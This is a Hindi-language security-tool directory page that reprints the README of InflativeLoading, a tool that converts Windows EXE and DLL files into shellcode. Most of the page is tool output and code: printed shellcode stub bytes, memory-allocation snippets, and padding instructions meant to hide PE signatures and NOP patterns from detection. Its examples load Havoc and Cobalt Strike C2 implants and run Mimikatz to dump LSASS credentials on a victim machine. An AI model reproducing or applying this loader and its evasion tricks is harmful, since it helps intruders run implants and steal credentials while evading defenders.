Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/senzee1984/inflativeloading
पेलोड जनरेशनशोषणरिवर्स इंजीनियरिंगशेलकोडमालवेयर विश्लेषणबाइनरी शोषण
GitHubsenzee1984/inflativeloading

InflativeLoading

एक अनमैनेज्ड EXE या DLL फ़ाइल को शेलकोड स्टब को प्रीपेंड करके PIC शेलकोड में गतिशील रूप से रूपांतरित करें।

रिपॉजिटरी देखें
326702 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

InflativeLoading

लेख: https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading

प्रमुख अद्यतन इतिहास

इस अनुभाग में, प्रमुख अद्यतन प्रदान किए गए हैं। प्रमुख अद्यतनों में जोड़े गए समर्थन या सुविधाएँ शामिल होती हैं।

4/11/2024 PE हस्ताक्षर अस्पष्टीकरण जोड़ा गया

PE हेडर में केवल कुछ बाइट्स, जैसे e_lfanew, आयात निर्देशिका का RVA, लोडिंग प्रक्रिया को पूरा करने के लिए आवश्यक हैं। इसलिए, अन्य बाइट्स को PE हेडर हस्ताक्षर छिपाने के लिए यादृच्छिक बाइट्स से ओवरराइट किया जा सकता है।

सभी प्रक्रियाएँ पूरी होने के बाद, पूर्ण अस्पष्टीकरण के लिए इन बाइट्स को भी ओवरराइट किया जाएगा। उदाहरण के लिए, नीचे दिए गए स्क्रीनशॉट से, हम देख सकते हैं कि PE हेडर अधिकांशतः अस्पष्ट है, लेकिन e_lfanew लोडिंग उद्देश्यों के लिए अप्रभावित रहता है। लेकिन लोडिंग प्रक्रिया के बाद, e_lfanew भी अस्पष्ट हो जाता है।

image

हालांकि, चयनित प्रोग्राम के आधार पर, अस्पष्टीकरण इसके साथ संगत नहीं हो सकता है। आपको पता होना चाहिए कि प्रोग्राम कैसे काम करता है। उदाहरण के लिए, Havoc stateless DLL पेलोड अस्पष्टीकरण सुविधा के साथ संगत नहीं है क्योंकि DLL भी PE हेडर का उपयोग करता है।

image

Havoc stageless EXE पेलोड अस्पष्टीकरण के साथ अच्छी तरह से काम करता है:```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] 3 iterations are needed

[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin

██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ ██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ ██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ ██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ ╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝

root@kitploit:~
██╗      ██████╗  █████╗ ██████╗ ██╗███╗   ██╗ ██████╗
██║     ██╔═══██╗██╔══██╗██╔══██╗██║████╗  ██║██╔════╝
██║     ██║   ██║███████║██║  ██║██║██╔██╗ ██║██║  ███╗
██║     ██║   ██║██╔══██║██║  ██║██║██║╚██╗██║██║   ██║
███████╗╚██████╔╝██║  ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚═╝╚═╝  ╚═══╝ ╚═════╝

Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!

[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;

[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes

buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......

Generated shellcode successfully saved in file havocsc.bin

[#] Shellcode located at address 0x1ae8ab70000

[!] PRESS TO EXECUTE SHELLCODED EXE...

root@kitploit:~
### 4/11/2024 पैडेड NOP को NOP-जैसे निर्देश अनुक्रमों से बदलें
अपडेट से पहले, `0x90/NOP` निर्देश वास्तविक शेलकोड स्टब के बाद मेमोरी पेज को संरेखित करने के लिए जोड़े जाते थे। कई NOPs एक पहचान हो सकते हैं, इसलिए, InflativeLoading स्क्रिप्ट पूर्वनिर्धारित NOP-जैसे निर्देश अनुक्रमों को गतिशील रूप से चुनती है। उपयोगकर्ता बेहतर अस्पष्टीकरण प्राप्त करने के लिए नए जोड़ सकते हैं या मौजूदा को बदल सकते हैं।```python
    nop_like_instructions = [
        {"instruction": [0x90], "length": 1},  # NOP
        {"instruction": [0x86, 0xdb], "length": 2},  # xchg bl, bl;
        {"instruction": [0x66, 0x87, 0xf6], "length": 3},  # xchg si, si;
        {"instruction": [0x48, 0x9c, 0x48, 0x93], "length": 4},  # xchg rax, rbx; xchg rbx, rax;
        {"instruction": [0x66, 0x83, 0xc2, 0x00], "length": 4},  # add dx, 0
        {"instruction": [0x48, 0xff, 0xc0, 0x48, 0xff, 0xc8], "length": 6},  # inc rax; dec rax;
        {"instruction": [0x49, 0xf7, 0xd8, 0x49, 0xf7, 0xd8], "length": 6},  # neg r8; neg r8;
        {"instruction": [0x48, 0x83, 0xc0, 0x01, 0x48, 0xff, 0xc8], "length": 7},  # add rax,0x1; dec rax;
        {"instruction": [0x48, 0x83, 0xe9, 0x2, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc1], "length": 10},  # sub rcx, 2; inc rcx; inc rcx
    ]

4/11/2024 बेहतर शेलकोड लॉजिक

मैंने कुछ असामान्य अपवादों को संभालने के लिए अतिरिक्त शेलकोड लॉजिक जोड़ा। उदाहरण के लिए, CobaltStrike stateless DLL पेलोड में, कुछ बेस रीलोकेशन एंट्रीज़ अमान्य होती हैं क्योंकि पेज RVA इमेज के आकार से बड़ा होता है।

इमेज का आकार 0x58000 है। image

हालांकि, कुछ RVAs 0x58000 से बड़े होते हैं। image

इसके अलावा, शेलकोड कन्वर्टेड शेलकोड को निष्पादित करने के बाद प्रोग्राम को शालीनता से बंद कर देता है।

4/11/2024 बेहतर PE डम्पर

अब डम्पर अधिक जानकारी प्रदर्शित कर सकता है और मेमोरी आवंटन के लिए सुझाव दे सकता है:```c // Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x1000, 0x5000, 0x3000, 0x20);

root@kitploit:~
शेलकोड स्टब `0x1000` बाइट्स पर निर्धारित है, PE हेडर `0x1000` बाइट्स पर निर्धारित है, और टेक्स्ट सेक्शन और अन्य सेक्शन का आकार भिन्न होता है।


### 4/11/2024 Unmanaged DLL के लिए समर्थन जोड़ा गया
अपडेट के बाद, unmanaged DLL को भी PIC शेलकोड में परिवर्तित किया जा सकता है। custom DLL, Havoc stageless DLL payload, और CobaltStrike stageless DLL payload के लिए परीक्षण मामले पास हो गए हैं।```powershell
PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin
[+] The file is a DLL file
[+] Image base of mapped .\havocdll.dll is 0x1a730000
[+] e_lfanew of mapped .\havocdll.dll is 0x80
[+] imageSize of mapped .\havocdll.dll is 0x1e000
[+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0
[+] Offset of section Header of mapped .\havocdll.dll is 0x188
[+] Size of text section of mapped .\havocdll.dll is 0x18000
[+] Size of other sections of mapped .\havocdll.dll is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] Data successfully written to havocdll.bin
PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havocdll.bin -e true -o false -b havocdllsc.bin

██╗███╗   ██╗███████╗██╗      █████╗ ████████╗██╗██╗   ██╗███████╗
██║████╗  ██║██╔════╝██║     ██╔══██╗╚══██╔══╝██║██║   ██║██╔════╝
██║██╔██╗ ██║█████╗  ██║     ███████║   ██║   ██║██║   ██║█████╗
██║██║╚██╗██║██╔══╝  ██║     ██╔══██║   ██║   ██║╚██╗ ██╔╝██╔══╝
██║██║ ╚████║██║     ███████╗██║  ██║   ██║   ██║ ╚████╔╝ ███████╗
╚═╝╚═╝  ╚═══╝╚═╝     ╚══════╝╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═══╝  ╚══════╝

    ██╗      ██████╗  █████╗ ██████╗ ██╗███╗   ██╗ ██████╗
    ██║     ██╔═══██╗██╔══██╗██╔══██╗██║████╗  ██║██╔════╝
    ██║     ██║   ██║███████║██║  ██║██║██╔██╗ ██║██║  ███╗
    ██║     ██║   ██║██╔══██║██║  ██║██║██║╚██╗██║██║   ██║
    ███████╗╚██████╔╝██║  ██║██████╔╝██║██║ ╚████║╚██████╔╝
    ╚══════╝ ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚═╝╚═╝  ╚═══╝ ╚═════╝

Author: Senzee
Github Repository: https://github.com/senzee1984/InflativeLoading
Twitter: senzee@1984
Website: https://winslow1984.com
Description: Dynamically convert a native PE to PIC shellcode
Attention: Bugs are expected, more support and improvements are coming!



[!] The offset to NT header is 0x80


[+] Shellcode Stub size: 850 bytes
[+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes
[!] Shellcoded PE's size: 126976 bytes


buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70"
buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04"
buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48"
buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d"
buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f"
buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c"
buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb"
buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b"
buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd"
buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c"
buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3"
buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0"
buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74"
buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01"
buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c"
buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80"
buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10"
buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c"
buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6"
buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0"
......126576 more bytes......


Generated shellcode successfully saved in file havocdllsc.bin


[#] Shellcode located at address 0x2108a9d0000

[!] PRESS TO EXECUTE SHELLCODED EXE...

image

19/2/2024: UPX पैक्ड EXE के लिए बुनियादी समर्थन जोड़ा गया

मैंने IAT को ठीक करने वाले कोड में थोड़ा बदलाव किया, क्योंकि मुझे लगा कि कोड की कुछ पंक्तियाँ अनावश्यक हैं। इसके बाद, InflativeLoading कुछ UPX पैक्ड EXE प्रोग्राम्स को निष्पादित कर सकता है, जिनमें calc.exe, PsExec शामिल हैं। हालाँकि, केवल कुछ पैक्ड प्रोग्राम ही। पहला कारण, मैं संभवतः सभी परीक्षण किए गए प्रोग्रामों के लिए सभी संभावित पैकिंग कॉन्फ़िगरेशन का परीक्षण नहीं करूँगा। दूसरे कारण के लिए, कृपया आगे पढ़ें:

जिन प्रोग्रामों में delayed import directory नहीं है, उनके लिए InflativeLoading UPX-पैक्ड संस्करणों को निष्पादित कर सकता है। हालाँकि, अनपैक्ड प्रोग्रामों के विपरीत, पैक्ड प्रोग्रामों में सभी ILT खाली होते हैं।

सामान्य calc.exe को उदाहरण के रूप में लें, सभी मॉड्यूल के लिए ILT और IAT समान हैं। image

लेकिन UPX पैक्ड calc.exe के लिए, इम्पोर्ट डायरेक्ट्री में सभी प्रविष्टियों के लिए ILT खाली है। image

लेकिन अगर प्रोग्राम में delayed import directory है, जैसे Mimikatz, तो यह और अधिक जटिल हो जाता है।

सामान्य mimikatz.exe के लिए, delayed import directory इस प्रकार है: image

लेकिन UPX पैक्ड mimikatz.exe के लिए, PE Bear इसे पार्स करने में असमर्थ है, और मैं भी। image

नीचे UPX-पैक्ड calc.exe के लिए एक सफल परीक्षण मामला दिया गया है। image

पृष्ठभूमि

मेरा एक लक्ष्य एक exe को shellcode में बदलना है। इस तरह, Mimikatz जैसे कुछ सुरक्षा उपकरणों का अधिक लचीलेपन के साथ उपयोग किया जा सकता है। हालाँकि Donut जैसे कुछ उपकरणों ने पहले ही इसे प्राप्त कर लिया है, फिर भी मैं अपने दृष्टिकोण के साथ ऐसा उपकरण बनाना चाहता हूँ, और उम्मीद है कि यह कुछ सुधार ला सकता है।

कुछ क्लासिक और आधुनिक उपकरणों और तकनीकों से प्रेरित होकर, InflativeLoading एक उपकरण है जो गतिशील रूप से एक अनमैनेज्ड EXE/DLL को PIC shellcode में बदल सकता है।

संक्षेप में, InflativeLoading एक डंप किए गए PE मुख्य मॉड्यूल में एक shellcode स्टब उत्पन्न करता है और उसे जोड़ता है।

इस उपकरण में DumpPEFromMemory.exe और InflativeLoading.py शामिल हैं।

शामिल घटक

एक अनमैनेज्ड PE फ़ाइल को shellcode में बदलने के लिए निम्नलिखित दो घटकों की आवश्यकता है।

DumpPEFromMemory प्रोजेक्ट

DumpPEFromMemory.exe का उपयोग चयनित PE फ़ाइल का मेमोरी-इन संस्करण प्राप्त करने के लिए किया जाता है।

EXE प्रोग्रामों के लिए, यह एक प्रक्रिया को सस्पेंडेड अवस्था में बनाकर और मुख्य मॉड्यूल को (आपकी डेव मशीन पर) एक बाइनरी फ़ाइल में डंप करके काम करता है। क्यों? एक सामान्य रिफ्लेक्टिव लोडिंग प्रक्रिया PE फ़ाइल के प्रत्येक सेक्शन को नई आवंटित मेमोरी क्षेत्र में मैप करती है। इस संबंध में, मेरी दो चिंताएँ हैं: पहला, हालाँकि प्रत्येक सेक्शन का डेटा मूल रूप से समान होता है चाहे वह डिस्क पर हो या मेमोरी में, फिर भी विशेष PE फ़ाइलों या विशिष्ट परिस्थितियों में कुछ अंतर हो सकते हैं।```c // Code snippet from Maldev course for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) { memcpy( (PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress), // Distination: pPeBaseAddress + RVA (PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData), // Source: pPeHdrs->pFileBuffer + RVA pPeHdrs->pImgSecHdr[i].SizeOfRawData // Size ); }

root@kitploit:~
For `DLL` files, DumPEFromMemory एक फ़ाइल मैपिंग बनाता है और DllMain() को निष्पादित किए बिना फ़ाइल का एक व्यू मैप करता है।


दूसरे, PE फ़ाइल की सामग्री पहले से ही लोडर की मेमोरी में मौजूद होती है (जैसे बाइट ऐरे), लेकिन लोडर फिर से मेमोरी स्पेस आवंटित करता है। DumpPEFromMemory का निष्पादन ऑपरेटर की डेव मशीन पर पूरा होता है। ऑपरेटर को PE फ़ाइल का एक डंप मिलता है जब वह मेमोरी में लोड होती है। हालाँकि कुछ डेटा को अभी भी अपडेट की आवश्यकता होती है, पीड़ित की मशीन पर मेमोरी क्षेत्र आवंटित करना अनावश्यक है।

इस प्रकार, मैन्युअली फ़ाइल को मैप करने के बजाय, हमें केवल विशिष्ट डेटा क्षेत्रों जैसे `Import Directory`, `Base Relocation Table Directory`, `Delayed Load Import Descriptors Directory`, आदि को पैच करने की आवश्यकता है।

डंप किया गया मुख्य मॉड्यूल एक बाइनरी फ़ाइल के रूप में सहेजा जाएगा जो शैलकोड स्टब में जोड़ा जाएगा।

उदाहरण के लिए, DumpPEFromMemory एक क्लासिक टूल mimikatz को निष्पादित करता है, और इसके मुख्य मॉड्यूल को एक बाइनरी फ़ाइल में डंप करता है।```powershell
PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\mimikatz.exe mimikatz.bin
[+] The file is an EXE file
[+] Process PID: 23052
[+] PEB Address:00000000004A5000
[+] Image Base Address:00007FF730E00000
[+] e_lfanew is 0x120
[+] Size Of The Image : 0x137000
[+] Size Of Optional Header : 0xf0
[+] Size Of text Section : 0xc5000
[+] Size of other sections of mapped .\mimikatz.exe is 0x71000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);

[+] 29 iterations are needed

[+] Data successfully written to mimikatz.bin. Total bytes read: 0x137000

image

और मेमोरी से Havoc DLL payload डंप करें:```powershell PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin [+] The file is a DLL file [+] Image base of mapped .\havocdll.dll is 0x87fd0000 [+] e_lfanew of mapped .\havocdll.dll is 0x80 [+] imageSize of mapped .\havocdll.dll is 0x1e000 [+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0 [+] Offset of section Header of mapped .\havocdll.dll is 0x188 [+] Size of text section of mapped .\havocdll.dll is 0x18000 [+] Size of other sections of mapped .\havocdll.dll is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] Data successfully written to havocdll.bin

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/6494/e69ec25d4b0073df13521e25519ac47d76f2e999b15f58756efe4d5e89d67e9a.jpg)



### InflativeLoading स्क्रिप्ट
स्क्रिप्ट गतिशील रूप से एक shellcode स्टब उत्पन्न करती है और इसे डंप फ़ाइल में जोड़ती है।

shellcode निम्नलिखित कार्य पूरे करता है:
1. PEB को पार्स करें और kernel32.dll खोजें
2. कमांड लाइन अपडेट करें
3. kernel32.dll को पार्स करके LoadLibraryA, GetProcAddress फ़ंक्शन का पता प्राप्त करें।
4. एक ऑफसेट के साथ जोड़े गए डंप फ़ाइल का पता लगाएं
5. गतिशील रूप से इम्पोर्ट डायरेक्टरी, बेस रीलोकेशन टेबल डायरेक्टरी, डिलेड लोड इम्पोर्ट डिस्क्रिप्टर्स डायरेक्टरी आदि को ठीक करें।
6. PE हेडर को obfuscate करने का विकल्प चुनें
7. निष्पादन को PE फ़ाइल के एंट्री पॉइंट पर स्थानांतरित करें।
8. सुचारू रूप से बाहर निकलें


उदाहरण के लिए, पहले डंप किए गए mimikatz को पढ़ने के लिए स्क्रिप्ट का उपयोग करें और LSASS में क्रेडेंशियल्स डंप करने के लिए उचित कमांड लाइन प्रदान करें:

![image](https://assets.kitploit.com/production/public/readmes/6494/3dc22f1cb9a5a680988845e923fdd52fe1f263e09a92ff2b517f84db5604a80c.jpg)

हालांकि shellcode स्टब आमतौर पर 1000 बाइट्स से कम होना चाहिए, फिर भी स्क्रिप्ट इसे मेमोरी पेज बाउंड्री के साथ संरेखण के लिए 4096 बाइट्स तक पैड करती है। फिर, ऑपरेटर आसानी से विभिन्न मेमोरी क्षेत्रों के लिए उचित पेज अनुमतियाँ सेट कर सकता है। डंपर मेमोरी आवंटन सुझाव प्रदान करता है:```powershell
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);

कैसे उपयोग करें?

मेरा मानना है कि आप पहले ही InflativeLoading के दोनों घटकों से गुज़र चुके हैं, संक्षेप में:

  1. किसी अप्रबंधित PE फ़ाइल का चयन करने और PE मुख्य मॉड्यूल को मेमोरी से bin फ़ाइल में डंप करने के लिए DumpPEFromMemory.exe का उपयोग करें। कृपया PE फ़ाइलों के चयन के लिए जानकारी के लिए सर्वोत्तम उपयोग मामले और ज्ञात समस्याएँ या सीमाएँ अनुभाग देखें।
  2. डंप फ़ाइल के लिए shellcode स्टब को आगे जोड़ने के लिए InflativeLoading.py स्क्रिप्ट का उपयोग करें। आप कमांड लाइन प्रदान करना चाहते हैं या नहीं, ऑब्सफस्केट करना है या नहीं, और उत्पन्न shellcode को तुरंत निष्पादित करना है या नहीं, चुन सकते हैं। वर्तमान में, उपयोगकर्ता द्वारा प्रदान की गई कमांड लाइन केवल कार्यक्रमों के एक छोटे से सेट के लिए ठीक से काम करती है।

सर्वोत्तम उपयोग मामले

चूंकि InflativeLoading अपने प्रारंभिक चरण में है, हर exe अच्छी तरह से समर्थित नहीं है। अप्रबंधित DLL अच्छी तरह से समर्थित है; निर्यात फ़ंक्शन का निष्पादन अगले अपडेट में आ रहा है!

✅ मूल कंसोल प्रोग्राम जो तर्कों पर निर्भर नहीं करता, जैसे stageless C2 इम्प्लांट, सरल कस्टम कंसोल प्रोग्राम।

✅ इंटरैक्टिव कंसोल/शेल वाला मूल कंसोल प्रोग्राम, जैसे Mimikatz।

